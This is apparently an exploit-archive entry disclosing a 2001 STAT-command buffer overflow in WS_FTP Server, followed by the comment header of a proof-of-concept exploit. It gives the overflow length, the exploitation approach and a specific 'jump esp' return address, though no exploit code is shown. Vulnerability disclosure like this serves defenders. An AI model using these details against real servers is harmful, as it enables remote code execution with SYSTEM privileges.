Ipswitch WS_FTP Server 1.0.x2.0.x - STAT Remote Buffer Overflow

WS_FTP Server, a popular FTP server for Microsoft Windows platforms, is vulnerable to a buffer overflow condition when a user submits a specially crafted legitimate FTP command. WS_FTP Server by default runs as a SYSTEM service.

If a logged in user submits a 'STAT' command along with arbitrary characters (approx 479 bytes) to a host running WS_FTP Server, this could result in the overwriting of stack variables, including the return address, and potentially the execution of arbitrary code with SYSTEM privileges.

# WS_FTP Server 2.0.3 STAT proof-of-concept exploit
# By andreas@defcom.com (C)2001
#
# 
# There are a couple of things screwing up this exploit. First, the
# total number of bytes we control in the area where ESP is pointing,
# corresponds to the number of bytes in the domain name. So, to make sure
# it works on as many systems as possible, Im only using 2 bytes here.
# So, we have to jump back through the buffer... Fun.. :)
# Second, the number of bytes needed to overwrite EIP is dependant on the
# number of bytes in the server name.
# Third, the stack has to be moved to the heap, because there is no
# good place on the stack, it just ends with CreateFile overwriting stuff.
#
# Im using a "jump esp" in shlwapi.dll(0x70beed87) as the return address,
# change this if it does not work on your system.
